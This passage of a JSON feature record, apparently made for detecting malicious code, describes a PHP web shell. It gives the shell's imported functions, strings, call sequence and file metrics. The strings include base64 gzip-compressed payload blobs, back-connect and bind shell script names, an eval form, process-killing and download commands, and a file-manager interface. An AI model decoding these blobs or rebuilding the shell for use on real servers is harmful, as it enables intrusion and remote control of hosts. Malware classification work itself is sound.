"source.imports[106]": "readdir", "source.imports[107]": "readfile", "source.imports[108]": "realpath", "source.imports[109]": "rename", "source.imports[110]": "rmdir", "source.imports[111]": "rmdirs", "source.imports[112]": "round", "source.imports[113]": "rp", "source.imports[114]": "rs", "source.imports[115]": "rtrim", "source.imports[116]": "scandir", "source.imports[117]": "set_time_limit", "source.imports[118]": "setcookie", "source.imports[119]": "shell_exec", "source.imports[120]": "showdir", "source.imports[121]": "sizeof", "source.imports[122]": "sort", "source.imports[123]": "ss", "source.imports[124]": "ssc", "source.imports[125]": "str_ireplace", "source.imports[126]": "str_replace", "source.imports[127]": "stream_select", "source.imports[128]": "stream_set_blocking", "source.imports[129]": "stripslashes", "source.imports[130]": "strlen", "source.imports[131]": "strpos", "source.imports[132]": "strtolower", "source.imports[133]": "substr", "source.imports[134]": "swd", "source.imports[135]": "system", "source.imports[136]": "time", "source.imports[137]": "trim", "source.imports[138]": "umask", "source.imports[139]": "unlink", "source.imports[140]": "urldecode", "source.imports[141]": "wordwrap", "source.imports[142]": "xwhich", "source.strings[100]": "\u003erename\u003c/a\u003e | \u003ca href=", "source.strings[101]": "\u003esize\u003c/th\u003e\u003cth style=", "source.strings[102]": "\u003eupload\u003c/a\u003e\u003c/span\u003e\n \u003cform action=", "source.strings[103]": "\u003eupload\u003c/a\u003e\u003c/td\u003e\u003c/tr\u003e", "source.strings[104]": "????:????", "source.strings[105]": "??????????", "source.strings[106]": "?upload", "source.strings[107]": "?upload\u0026amp;d=", "source.strings[108]": "?upload\\\" method=\\\"post\\\" enctype=\\\"multipart/form-data\\\"\u003e\n \u003cdiv class=\\\"mybox\\\"\u003e\u003ch2\u003eUpload from computer\u003c/h2\u003e\n \u003ctable class=\\\"myboxtbl\\\"\u003e\n \u003ctr\u003e\u003ctd style=\\\"width:100px;\\\"\u003eFile\u003c/td\u003e\u003ctd\u003e\u003cinput type=\\\"file\\\" name=\\\"filepath\\\" class=\\\"inputzbut\\\" style=\\\"width:400px;margin:0;\\\" /\u003e\n \u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003eSave to\u003c/td\u003e\u003ctd\u003e\u003cinput style=\\\"width:100%;\\\" class=\\\"inputz\\\" type=\\\"text\\\" name=\\\"savefolder\\\" value=\\", "source.strings[109]": "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAphJREFUOMudk8lPU1EUxvkbXAMdXlug2Kp0eu8ViiUIC2wZJJYqkwUqFiqUMjqgAQppUnAIiBKmFoq0thYKBI0GBGMw0ejGxIVLdyYmYDQ0xPD5HokopmXh4kvuyb3nd853ck8cgLhYylymkblIadlzxmNVUXpAuf3vmwOB9pma+DvWhElkhFRhy4Cer/YpaugZ+bdDASfZiktU8+84PaiKqP3Kr+YbOd6CXnqbHpPtltjUzpgAzQK5mTFPRvZaDpBb9KwClFcOyi1H53oT1j+H0O6qgK4mrSUqgPGpTX+khMZHbuYFTiH4YRxPPk5j4KUDklvJqFjOh//1ME70H8VxZyqkDjFTdZ7cYnzue2d87mZ6Kcy+u42epyZcDZegNVwJzTAJiTMFpmkDsgtEn/Y7YHzuMD5BP1R4NF7yy9lgAbxv+3FzqRz2YD7KprJg9BfC92YEQ6sDkHanQG0Uhg5YoKblG6RbBnJchsD7QXQulqIpoEeZWwvDjB731xywzxrwYKUXkk4xxB2i7ymtQuuBGZCjsojRVwTXcysa/TqUTmSh2HMa91a7YZ0qRNVYLgNwQtwmQrJdsJvUSEBUz/8zQNVQ2o/aoAl3VtpQNpmNMxN5cC22w+LRwzSaC8e8DQ2TFiTZBEiuJ46wOYSZe20fQN9V9KW5JOhaakPxuA6uhQ5Y3DpUjuSgZ84G6roSostM1TqiOuY/kPUdWyOauRh7MYiuUD0uMqCeuUZcmWmBsI4PQS0PRA03wjdxmqMCWEmvitekHWI0uGth99RBahPvJQrNvGomUcurSNzkliaAcy6eiApglWoXuZOs/J+CS0xFMxf8Ks6rWAsXd9g2suJf4GzwyhPBPZ9A/BeAFccYv5NoiN+KdvcLtyxxEwhxgvoAAAAASUVORK5CYII=", "source.strings[110]": "Cache-control: max-age=", "source.strings[111]": "Cache-control: public", "source.strings[112]": "Content-Type:application/x-gzip", "source.strings[113]": "Content-Type:application/x-gzip\\n", "source.strings[114]": "Content-disposition: attachment; filename=", "source.strings[115]": "Content-disposition: attachment; filename=\\", "source.strings[116]": "Content-length: ", "source.strings[117]": "Content-type: ", "source.strings[118]": "Content-type: application/octet-stream", "source.strings[119]": "Content-type: image/png", "source.strings[120]": "Content-type: text/plain", "source.strings[121]": "Expires: ", "source.strings[122]": "HTTP_HOST", "source.strings[123]": "K4X_back", "source.strings[124]": "K4X_back.pl", "source.strings[125]": "K4X_back.py", "source.strings[126]": "K4X_bind", "source.strings[127]": "K4X_bind.pl", "source.strings[128]": "K4X_bind.py", "source.strings[129]": "Location: ", "source.strings[130]": "PHP_SELF", "source.strings[131]": "REMOTE_ADDR", "source.strings[132]": "SERVER_SOFTWARE", "source.strings[133]": "Upload !", "source.strings[134]": "XVFNawIxEL0L/odhhZJocF2v2oKIBSmtontrZVmTbDd0TSSJxQ/8702y1loPSWbmvXkzvLSEpNWOcRgay4Tqlk/NRuuvdjCxUfSL2ztAcivciYUMgJAWNrmQyAe5/qQEaJlraLv4+32FTzWlYINmw1i9oxa8bM6YzoQEI6QDWM43SqKE9LCnOWl3siLfiOoAjzB6zqZvk/QG2iptHVBaJQ3KrRIojEtW+FbAD+ma8Diy3zrENbe/8tT1kWv1WyBuwYrLK95JOreVi3rBnFhtDbpsRmA5G79ky3QxGb0SmM7ni1k6y9LxHIPrEAUgRJWUnFpUMALozgloY3hwGxPnx5Gr4h7HGA97+LTlWiuNovB8yAgP+F5Y5Ew7Ow93234QDx5es+Rf1vcZ33NaoSheCxmbMiKRv1D9azh000oZ7hp8fP4B", "source.strings[135]": "\\\" /\u003e\n \u003cinput class=\\\"inputz\\\" id=\\\"titik1_\\\" style=\\\"width:140px;\\\" type=\\\"text\\\" name=\\\"mkdir\\\" value=\\\"a_new_folder\\\" /\u003e\n \u003cinput class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"rename\\\" style=\\\"width:35px;\\\" value=\\\"Go !\\\" /\u003e\n \u003c/form\u003e\u003c/td\u003e\u003c/tr\u003e\n ", "source.strings[136]": "\\\" /\u003e\n \u003cinput class=\\\"inputz\\\" id=\\\"titik2_\\\" style=\\\"width:140px;\\\" type=\\\"text\\\" name=\\\"mkdir\\\" value=\\\"a_new_folder\\\" /\u003e\n \u003cinput class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"rename\\\" style=\\\"width:35px;\\\" value=\\\"Go !\\\" /\u003e\n \u003c/form\u003e\n \u003c/td\u003e\u003c/tr\u003e", "source.strings[137]": "\\\" /\u003e\n \u003cinput class=\\\"inputz\\\" style=\\\"width:200px;\\\" id=\\", "source.strings[138]": "\\\" /\u003e\n \u003cinput class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"rename\\\" value=\\\"rename\\\" /\u003e\n \u003cinput class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"cancel\\\" value=\\\"cancel\\\" onclick=\\\"tukar(", "source.strings[139]": "\\\" /\u003e\n \u003cinput class=\\\"inputz\\\" style=\\\"width:200px;\\\" type=\\\"text\\\" id=\\", "source.strings[140]": "\\\" /\u003e\n \u003cinput class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"rename\\\" value=\\\"rename\\\" /\u003e\n \u003cinput class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"cancel\\\" value=\\\"cancel\\\" onclick=\\\"tukar(", "source.strings[141]": "\\\" /\u003e\n \u003c/form\u003e\n ", "source.strings[142]": "\\\" /\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003eFilename (optional)\u003c/td\u003e\u003ctd\u003e\u003cinput style=\\\"width:100%;\\\" class=\\\"inputz\\\" type=\\\"text\\\" name=\\\"savefilename\\\" value=\\\"\\\" /\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e\n \u003cinput type=\\\"submit\\\" name=\\\"uploadhd\\\" class=\\\"inputzbut\\\" value=\\\"Upload !\\\" style=\\\"width:120px;height:30px;margin:10px 2px 0 2px;\\\" /\u003e\n \u003c/td\u003e\u003c/tr\u003e\n\n \u003cinput type=\\\"hidden\\\" name=\\\"d\\\" value=\\", "source.strings[143]": "\\\" method=\\\"get\\\" id=\\\"titik1_form\\\" class=\\\"sembunyi\\\" style=\\\"margin:0;padding:0;\\\"\u003e\n \u003cinput type=\\\"hidden\\\" name=\\\"d\\\" value=\\", "source.strings[144]": "\\\" method=\\\"get\\\" id=\\\"titik2_form\\\" class=\\\"sembunyi\\\" style=\\\"margin:0;padding:0;\\\"\u003e\n \u003cinput type=\\\"hidden\\\" name=\\\"d\\\" value=\\", "source.strings[145]": "\\\" method=\\\"post\\\" id=\\", "source.strings[146]": "\\\" method=\\\"post\\\"\u003e\n \u003ctextarea id=\\\"evalcode\\\" name=\\\"evalcode\\\" class=\\\"evalcode\\\"\u003e", "source.strings[147]": "\\\" style=\\\"margin:0;padding:0;\\\" /\u003e\n \u003cinput type=\\\"hidden\\\" name=\\\"d\\\" value=\\", "source.strings[148]": "\\\" style=\\\"margin:0;padding:0;\\\" /\u003e\n \u003cinput type=\\\"hidden\\\" name=\\\"d\\\" value=\\", "source.strings[149]": "\\\"\u003e[ $folder ]\u003c/a\u003e\n \u003cform action=\\", "source.strings[150]": "\\\"\u003e[ $folder ]\u003c/a\u003e\u003c/td\u003e\u003ctd\u003eLINK\u003c/td\u003e\u003ctd style=\\\"text-align:center;\\\"\u003e", "source.strings[151]": "\\\"\u003edelete\u003c/a\u003e | \u003ca href=\\\"?upload\u0026amp;d=", "source.strings[152]": "\\\"\u003eupload\u003c/a\u003e\u003c/td\u003e\u003c/tr\u003e", "source.strings[153]": "\\\\\\\"\u003e[ ", "source.strings[154]": "_form');", "source.strings[155]": "_form');\\\" /\u003e\n \u003c/form\u003e\n \u003c/td\u003e\u003ctd\u003e", "source.strings[156]": "_form');\\\"\u003erename\u003c/a\u003e | \u003ca href=\\\"?d=", "source.strings[157]": "_form');\\\"\u003erename\u003c/a\u003e | \u003ca href=\\\"?d=$pwd\u0026amp;delete=$full\\\"\u003edelete\u003c/a\u003e | \u003ca href=\\\"?d=$pwd\u0026amp;dl=$full\\\"\u003edownload\u003c/a\u003e\u0026nbsp;(\u003ca href=\\\"?d=$pwd\u0026amp;dlgzip=$full\\\"\u003egzip\u003c/a\u003e)\u003c/td\u003e\u003c/tr\u003e", "source.strings[158]": "_form',", "source.strings[159]": "_form\\\" class=\\\"sembunyi\\\" style=\\\"margin:0;padding:0;\\\"\u003e\n \u003cinput type=\\\"hidden\\\" name=\\\"oldname\\\" value=\\", "source.strings[160]": "_form\\\" class=\\\"sembunyi\\\" style=\\\"margin:0;padding:0;\\\"\u003e\n \u003cinput type=\\\"hidden\\\" name=\\\"oldname\\\" value=\\", "source.strings[161]": "_link');", "source.strings[162]": "_link');\\\" /\u003e\n \u003c/form\u003e\n \u003ctd\u003eDIR\u003c/td\u003e\u003ctd style=\\\"text-align:center;\\\"\u003e", "source.strings[163]": "_link',", "source.strings[164]": "_link\\\" href=\\\"?d=", "source.strings[165]": "_link\\\" href=\\\"?d=$pwd\u0026amp;view=$full\\\"\u003e$file\u003c/a\u003e\n \u003cform action=\\", "source.strings[166]": "_link_", "source.strings[167]": "_link_\\\" name=\\\"newname\\\" value=\\", "source.strings[168]": "_link_\\\" type=\\\"text\\\" name=\\\"newname\\\" value=\\", "source.strings[169]": "a_new_folder", "source.strings[170]": "bZFvS8MwEMbf51PcYre1UKjiy1pxdFXHtnY0VRD/lNneNFiT0maozPnZTYpTEd+F537P5e65vZ63bhvvnguvxqYilmwhAOsu8YnFzqPZLKBdsX2kPuEru6t/wLP3okXubGBH9cNkzhZR2AdvSv2tZsE+GaVnl3AEBw5sAF+5sg8cH7bEmk1YFsX5IkmzwDLQ9f6tT9YtApPFEyr9ed1IJQtZBQ+ouvf9m1g+oz1URT10fNJ2oM3cweI0n8RR5g5YEk5zlqXRaO5++x14f4eSo02xaWRzI6gxozJ+WZsGLJnlxqpbsCRPowsWjcbj1NWzEr16qREDL8uyybmwfw/vTmKD5qP4yvn3o4q3CoXucLgrA9VBvjzyCnUYZEOWRYF6jDCJY5c5XcY926p5Gaxk8+QYpHOFSyGkAiNSMOH2SlxxgSUYWBtljQJYNp7ELj0amH70R0wuMpce/1WjNP2l4isWX+f8b5Wikvo+hjUoV7Dvky3ZfgI=", "source.strings[171]": "cancel", "source.strings[172]": "chmod +x ", "source.strings[173]": "d-M-Y H:i", "source.strings[174]": "dVJhS+QwEP0u+B9yFW6Ttex2BT/1erCcCiK3B+oXUSkxSe1gNylJVl0W//tNmha0KrRJ5r2XzMtMDkCLZiMV+eW8BDOrf+/vHbzDLOjHMbh1c79tlfsCd0Y8KT8itPKA/xz0iFDW6pgStCdrDppy+yhSHJ5ZBEOc7++JmlsynQYi30UmpKpkSrR6qSRK0OtGRJhLaUvQxKq18Qo5qGhl7BNlpChIxggeEbmZA11WfA3NlhRkeVaer06v8w9sa6xHrvZGO8q9geDx+XZxz9hHYcg6c93U6xt6vlqenFyWy9VNEEfLSMYy0T5fevXvz0V5dX15uvybZiz6/RHFjLRYJWNp0k13Ogn8A2hJ+wLQ0cXJlP2MrlKSvS668xpwXulhx3GAXmpoFF0wLEVXwYILoVo/aLJoRG7aI9rxn+LFKD4KsXpVoqHJHA3OXZ2kSRho7B7rThCNcSpuCeHb8IWWirrlzvXyB+7wBnGttFdWSda3HnAj9pNCkeUQHmmDlxs0ORwe4uPZdVXswVu4D52f3OkJUu9BxLJJ/qXWfqcNbiuCHfJWrFvaGR2ys/Ak/MZqkgXlfw==", "source.strings[175]": "dZFfT4MwFMXf+RQVmSvJEuYzqcmCaJZlYwH0xT+EwVUbR0vaLmZx87PblqnEbG/33HPOL7dwfhZspAhWlAUtiLWzkYAyXr2DCh2PS0SQ95zoUW6lgoa4Ninf3NChL9gGvlATfOgl9T/Rb2wQJfNsGUcDFMzccO94Y+JVTa1BqhSvoIg3SW/vHy6f9Kbl4kePjaZlXQtCGaiiVJzhQ8VHux2qKWAXhODikbm+Kduw1BeboaA6bngj1GFOlARXnGimHVZbVjaAh6pqh9qV9vU4S6JZnI/Q8qaYLsxgFkWWp/Fkrum2eZReccag+gN0Jx6N8hYYzvLr6WKE3KuLrtE3krv8hBOn6T+n+/T48AvMIWsuocP3lWb2pQZp+Q0=", "source.strings[176]": "delete", "source.strings[177]": "display_errors", "source.strings[178]": "dlgzip", "source.strings[179]": "error_reporting(E_ALL);@ini_set(", "source.strings[180]": "error_reporting(E_ALL);@ini_set(\\\"display_errors\\\", 1);", "source.strings[181]": "evalcode", "source.strings[182]": "evalcodesubmit", "source.strings[183]": "explore sortable", "source.strings[184]": "favicon", "source.strings[185]": "filepath", "source.strings[186]": "fileurl", "source.strings[187]": "hidden", "source.strings[188]": "inputz", "source.strings[189]": "inputzbut", "source.strings[190]": "javascript:tukar(", "source.strings[191]": "javascript:tukar('titik1','titik1_form');", "source.strings[192]": "javascript:tukar('titik2','titik2_form');", "source.strings[193]": "kill -9 ", "source.strings[194]": "lVNda9swFH22wf9B9R4qk9T56PYS0CCMlJYlzWgyGHQjuLZSizqSkZS2+ffVvbKb0GSM5SHWx9E5514dfTrrbY3uPQjZ4/KZ1DtbKhmFYlMrbYkyXWJ28KfyJ267xIoNj8LZ+NdqOrllg/7wcxQurifTKYuR4yEzJbnI4yhc3swmq/nPJbvs96Pwx/xuyWK3fD1f+EHB18SUvKpovimSURQGplyprWXKpLWquaTI24lJ3AFEqnlWVEJyQxMHlg0aqIK10kQQIYnO5COnlTvstxMkbsEd5r/34o9b1dxutSTNnjeU5VYoSXMlJZ58KUXFyVJvOfJYvcNvUDtHDFDOVf5Mm36Ar4C/5ry2DUwLaWnMtVb6t4xxv9UFUsRXxpMHwInlBKcKAsnkYuALQnCHwZovxv3EmgADi0dFHjeoj2Igt8eZ4iPuKnNuWmDrC6nBAjj42m8XA2j//gbbVeyK4bKg0P8ozPTjM3MZSmHgguWpYJIwNgQyzAYs3A9cKWjwAHJ5DAkwRDgd4gnnlPBXYekgaaIGfYdBgoouUq6jTzQ5Y2gf7CC+7/Yh2sznO/Uf2szGV6ub28myTX+6mH/7vlos7ybjWXPOFWrhSbhSaRv45GSRiHYvpKD0vFJ5VpXK2PMuQZNJC6iEse4g2NJbyfy1+RC6OfCcaA7GEj2m0HyeW0qhQwfk/04lVJGaivOafknecwmqrHkUIAA778EA2QDfSjcrCp1gE9MsByX636qD06r4FI/qHo6Iz1m5tYV6kXR45Iw09+M6HseHbshfRD1+T/gG", "source.strings[195]": "lwp-download", "source.strings[196]": "margin:0;padding:0;", "source.strings[197]": "multipart/form-data", "source.strings[198]": "myboxtbl", "source.strings[199]": "newfile.php", "source.strings[200]": "newfile.php\\\"\u003enewfile\u003c/a\u003e | \u003ca href=\\\"javascript:tukar('titik1','titik1_form');\\\"\u003enewfolder\u003c/a\u003e | \u003ca href=\\\"?upload\u0026amp;d=$pwd\\\"\u003eupload\u003c/a\u003e\u003c/span\u003e\n \u003cform action=\\", "source.strings[201]": "newfile.php\\\"\u003enewfile\u003c/a\u003e | \u003ca href=\\\"javascript:tukar('titik2','titik2_form');\\\"\u003enewfolder\u003c/a\u003e | \u003ca href=\\\"?upload\u0026amp;d=$parent\\\"\u003eupload\u003c/a\u003e\u003c/span\u003e\n \u003cform action=\\", "source.strings[202]": "newname", "source.strings[203]": "oldname", "source.strings[204]": "passthru", "source.strings[205]": "posix_getgrgid", "source.strings[206]": "posix_getpwuid", "source.strings[207]": "posix_kill", "source.strings[208]": "python ", "source.strings[209]": "rename", "source.strings[210]": "rs_result", "source.strings[211]": "safe_mode", "source.strings[212]": "savefilename", "source.strings[213]": "savefilenameurl", "source.strings[214]": "savefolder", "source.strings[215]": "savefolderurl", "source.strings[216]": "sembunyi", "source.strings[217]": "shell_exec", "source.strings[218]": "sorttable", "source.strings[219]": "submit", "source.strings[220]": "system", "source.strings[221]": "tVbJbtswEL33KwgEBVrAMrS4biKfggL9gqLXghIpiwhFChQd2xHy7xUpyhwtdlIgFS+2PJzlvTczziQ5tyjD+dNeyYMg6V1onx0qpNBBw15oGkX1yX0vcMX4Of2FS1nh1W+qCBZ49agY5juUSy5VelcUxQ69orsKMzF2Hdlnh2pMCBP7NK5P6N74Dir5EmRSEaoChQk7NCmKQvPL4ssjI7pMozD8bAOVFHc2Laqw2jORhj5A91HTkw4wZ3uRclpocAFpcuWONymjFgAR2+jA0N8OjjR7YjrQCoumkKpKkZIaa/oliJJ18p3Q/VdX520TGBvhFoDqcPXvNj/uk8efrkRCc6mwZlKkQgpqLNfGEROFbAcYDQJpxyZqJGcEXTy4OrawPENO2J3IvnXedMbbCfzD+wbpjoOSsn2p03hjLj1TpVmOucO/YoTwPrM9PuMVWj8b2ibVWLiPvZtMcmLtreGHYcyp1h0aTY1zV2kvWCoOy4IdeEYGlK405K6szZWKofaC2maQtJfGhEHoP34wZ/c+Qpey/jBIljpws9CAm1HhaSktM7CmZGvOrdTezmzUD2sm6oN+6eRSK1nVuvtAnzHPJaHLbPUpw56OQSWZ1FpWsAuSB3PmE2/Wei6BdlmjPinYIK4hkphWoJjsoNtZvFEtD+bMlHERIuAGlhLbp0/nVHdXJ9lAmYbQzIyVq3NksDED8yqKQ+jLeOz7gDNBg1tTQct6HKT03ZQM3QQBF51SzLoZNdKs7m4aLakzujfHGja0yg7izFpEWFNzfHYF+/nue7ibDoo2B96x9o+7as7RwOVsZECo+qm7pG6nCIwxkIMFu2e0NpxPSDDSLWuzCpDGGb8iisj46LOGF0h7K4/cPt7J1lWze1spMEi5ssQvUbXYbMPFMm7hilfGatTJ38AwTkK308IJtLk5AAiLwWTebie4mMhXSxw4BvZ+bw+Qmb3G6LFgU0IAra5R34Pl4MsyBrf45ub0Gzxc6ZLBa95BSoX2ns3MuqirOmfy9B96I5ruU4uHF3sf2HKx8E/OW14nyj7e1dIfHNX8GZrfu45u7xTgt5BSmzE0lynwtr1MuV62SwqMwVLyvJeqXdwDu9dPfwE=", "source.strings[222]": "taskkill /F /PID ", "source.strings[223]": "text-align:center;", "source.strings[224]": "titik1", "source.strings[225]": "titik1_", "source.strings[226]": "titik1_form", "source.strings[227]": "titik2", "source.strings[228]": "titik2_", "source.strings[229]": "titik2_form", "source.strings[230]": "tmp_name", "source.strings[231]": "tukar(", "source.strings[232]": "upload", "source.strings[233]": "uploadhd", "source.strings[234]": "uploadurl", "source.strings[235]": "which ", "source.strings[236]": "which $pr", "source.strings[237]": "whoami", "source.strings[238]": "width:100%;", "source.strings[239]": "width:100px;", "source.strings[240]": "width:110px;", "source.strings[241]": "width:120px;height:30px;", "source.strings[242]": "width:120px;height:30px;margin:10px 2px 0 2px;", "source.strings[243]": "width:140px;", "source.strings[244]": "width:200px;", "source.strings[245]": "width:210px;", "source.strings[246]": "width:35px;", "source.strings[247]": "width:400px;margin:0;", "source.strings[248]": "width:60px;", "source.strings[249]": "width:70px;", "source.strings[250]": "xback_bin", "source.strings[251]": "xback_pl", "source.strings[252]": "xback_py", "source.strings[253]": "xbind_bin", "source.strings[254]": "xbind_pl", "source.strings[255]": "xbind_py", "source.functions[10]": "ss", "source.functions[11]": "ssc", "source.functions[12]": "swd", "source.functions[13]": "xwhich" }, "x": 662, "id": 0, "is": [ "error_reporting", "set_time_limit", "strlen", "trim", "isset", "strtolower", "trim", "strtolower", "trim", "isset", "strtolower", "trim", "strtolower", "trim", "md5", "setcookie", "md5", "time", "header", "die", "setcookie", "time", "header", "die", "explode", "sizeof", "trim", "trim", "str_replace", "str_replace", "get_magic_quotes_gpc", "trim", "urldecode", "trim", "urldecode", "stripslashes", "get_magic_quotes_gpc", "stripslashes", "gzinflate", "base64_decode", "is_file", "unlink", "fopen", "fwrite", "fclose", "is_file", "exe", "exe", "is_file", "unlink", "fopen", "fwrite", "fclose", "is_file", "exe", "exe", "is_file", "unlink", "is_file", "unlink", "fopen", "fwrite", "fclose", "is_file", "exe", "is_file", "exe", "exe", "is_file", "unlink", "fopen", "fwrite", "fclose", "is_file", "exe", "explode", "is_file", "unlink", "fopen", "fwrite", "fclose", "is_file", "exe", "exe", "explode", "is_file", "unlink", "fopen", "fwrite", "fclose", "is_file", "exe", "exe", "explode", "is_file", "unlink", "is_file", "unlink", "fopen", "fwrite", "fclose", "is_file", "exe", "is_file", "exe", "exe", "is_file", "unlink", "fopen", "fwrite", "fclose", "is_file", "exe", "filesize", "round", "round", "fileperms", "function_exists", "ob_start", "system", "ob_get_contents", "ob_end_clean", "function_exists", "shell_exec", "function_exists", "exec", "function_exists", "ob_start", "passthru", "ob_get_contents", "ob_end_clean", "is_dir", "substr", "rtrim", "glob", "is_dir", "rmdirs", "unlink", "is_dir", "rmdir", "exe", "trim", "trim", "trim", "basename", "file_get_contents", "is_file", "unlink", "fopen", "fwrite", "fclose", "is_file", "exe", "xwhich", "is_file", "exe", "xwhich", "is_file", "exe", "xwhich", "is_file", "exe", "xwhich", "is_file", "function_exists", "function_exists", "scandir", "is_dir", "is_file", "opendir", "readdir", "is_dir", "is_file", "closedir", "sort", "sort", "explode", "sizeof", "posix_getpwuid", "fileowner", "posix_getgrgid", "filegroup", "gp", "date", "filemtime", "posix_getpwuid", "fileowner", "posix_getgrgid", "filegroup", "gp", "date", "filemtime", "posix_getpwuid", "fileowner", "posix_getgrgid", "filegroup", "cs", "cs", "cs", "cs", "cs", "gp", "date", "filemtime", "cs", "cs", "posix_getpwuid", "fileowner", "posix_getgrgid", "filegroup", "cs", "cs", "cs", "cs", "cs", "gs", "gp", "date", "filemtime", "cs", "cs", "isset", "gzinflate", "base64_decode", "header", "header", "getenv", "ini_get", "strtolower", "ini_get", "php_uname", "strtolower", "substr", "rp", "exe", "rp", "exe", "getcwd", "get_current_user", "realpath", "explode", "range", "is_dir", "function_exists", "function_exists", "gethostbyname", "isset", "ss", "is_dir", "chdir", "cp", "cp", "getcwd", "isset", "gzinflate", "base64_decode", "header", "header", "isset", "ss", "file_get_contents", "header", "header", "strlen", "header", "basename", "isset", "ss", "gzencode", "file_get_contents", "header", "header", "strlen", "header", "basename", "isset", "ss", "function_exists", "posix_kill", "exe", "exe", "isset", "ob_clean", "ss", "ss", "getimagesize", "explode", "count", "header", "header", "header", "date", "mktime", "header", "readfile", "isset", "isset", "isset", "ss", "ss", "rename", "isset", "ss", "is_file", "unlink", "isset", "ss", "rtrim", "ss", "is_dir", "rmdirs", "isset", "ss", "ss", "is_dir", "mkdir", "isset", "isset", "ss", "ob_start", "eval", "eval", "eval", "ob_get_contents", "ob_end_clean", "htmlspecialchars", "isset", "isset", "is_uploaded_file", "cp", "ss", "is_dir", "cp", "dirname", "isset", "trim", "ss", "cp", "move_uploaded_file", "isset", "cp", "ss", "is_dir", "cp", "dirname", "ss", "basename", "isset", "trim", "ss", "cp", "dlfile", "isset", "ob_start", "eval", "ob_get_contents", "ob_end_clean", "strpos", "strpos", "substr", "isset", "isset", "isset", "ss", "isset", "isset", "ss", "isset", "isset", "ss", "isset", "isset", "ss", "ss", "ss", "ss", "ss", "ss", "ss", "ss", "ss", "ss", "trim", "mysql_connect", "explode", "trim", "mysql_query", "mysql_num_fields", "htmlspecialchars", "mysql_field_name", "mysql_fetch_array", "mysql_num_fields", "htmlspecialchars", "mysql_close", "mssql_connect", "explode", "trim", "mssql_query", "mssql_num_fields", "htmlspecialchars", "mssql_field_name", "mssql_fetch_array", "mssql_num_fields", "htmlspecialchars", "mssql_close", "oci_connect", "explode", "trim", "oci_parse", "oci_execute", "oci_num_fields", "htmlspecialchars", "oci_field_name", "oci_fetch_array", "oci_num_fields", "htmlspecialchars", "oci_close", "pg_connect", "explode", "trim", "pg_query", "pg_num_fields", "htmlspecialchars", "pg_field_name", "pg_fetch_array", "pg_num_fields", "htmlspecialchars", "odbc_connect", "explode", "trim", "odbc_exec", "odbc_num_fields", "htmlspecialchars", "odbc_field_name", "odbc_fetch_array", "htmlspecialchars", "odbc_close", "explode", "trim", "htmlspecialchars", "htmlspecialchars", "htmlspecialchars", "die", "rs", "cp", "rs", "cp", "rs", "cp", "rs", "cp", "rs", "cp", "rs", "cp", "rs", "cp", "rs", "cp", "function_exists", "pcntl_fork", "posix_setsid", "umask", "fsockopen", "proc_open", "is_resource", "stream_set_blocking", "stream_set_blocking", "stream_set_blocking", "stream_set_blocking", "feof", "feof", "stream_select", "in_array", "fread", "fwrite", "in_array", "fread", "fwrite", "in_array", "fread", "fwrite", "fclose", "fclose", "fclose", "fclose", "proc_close", "trim", "is_file", "posix_getpwuid", "fileowner", "posix_getgrgid", "filegroup", "basename", "cs", "cs", "cs", "cs", "gs", "gp", "date", "filectime", "date", "filemtime", "date", "fileatime", "cs", "cs", "getimagesize", "substr", "is_array", "wordwrap", "file_get_contents", "highlight_string", "str_ireplace", "nl2br", "htmlentities", "wordwrap", "file_get_contents", "is_dir", "chdir", "cp", "getcwd", "showdir", "is_file", "file_get_contents", "ssc", "fopen", "date", "time", "fwrite", "fclose", "htmlspecialchars", "exe", "trim", "preg_replace", "explode", "explode", "count", "trim", "explode", "trim", "trim", "strtolower", "explode", "trim", "trim", "trim", "trim", "trim", "count", "trim", "strlen", "preg_match", "is_dir", "chdir", "cp", "getcwd", "showdir", "is_dir", "chdir", "cp", "getcwd", "showdir", "htmlspecialchars", "exe", "showdir", "showdir", "showdir", "date", "time", "swd", "cp", "gzinflate", "base64_decode", "date", "time" ], "ms": { "file": { "size": 85459.0 }, "text": { "digit_ratio": 0.07, "space_count": 13240.0, "total_lines": 1624.0, "char_entropy": 5.58, "unique_chars": 94.0, "import_density": 35.53, "lines_over_200": 16.0, "lines_over_500": 7.0, "string_density": 2.03, "avg_line_length": 51.62, "lines_over_1000": 4.0, "max_line_length": 5859.0, "empty_line_ratio": 0.06, "last_line_length": 7.0, "long_token_count": 9.0, "most_common_char": "e", "whitespace_ratio": 0.17, "most_common_ratio": 0.04, "identifier_density": 1.58, "line_length_stddev": 180.78, "encoded_string_ratio": 0.01, "normalized_import_count": 14.32, "normalized_string_count": 81.96, "repeated_char_sequences": 295.0, "suspicious_string_ratio": 0.01, "max_inline_whitespace_run": 3.0, "normalized_function_count": 0.35, "trailing_whitespace_lines": 13.0, "imports_to_functions_ratio": 41.21, "strings_to_functions_ratio": 235.93, "suspicious_identifier_ratio": 0.05, "normalized_unique_identifiers": 31.97, "identifiers_to_functions_ratio": 24.36 }, "imports": { "total": 577.0, "unique_modules": 143.0, "third_party_count": 577.0, "third_party_ratio": 1.0 }, "strings": { "total": 3303.0, "avg_length": 26.12, "max_length": 5844.0, "path_count": 2.0, "avg_entropy": 2.62, "hex_strings": 2.0, "sql_strings": 2.0, "total_bytes": 86284.0, "entropy_stddev": 1.1, "base64_candidates": 18.0, "very_long_strings": 8.0, "high_entropy_count": 18.0, "shell_command_strings": 16.0 }, "comments": { "chars": 1795.0, "lines": 74.0, "total": 74.0, "to_code_ratio": 0.05, "url_in_comments": 1.0 }, "functions": { "total": 14.0, "length_stddev": 44.07, "over_100_lines": 2.0, "avg_name_length": 3.43, "no_params_count": 14.0, "avg_length_lines": 28.79, "max_length_lines": 150.0, "min_length_lines": 3.0, "density_per_100_lines": 0.86, 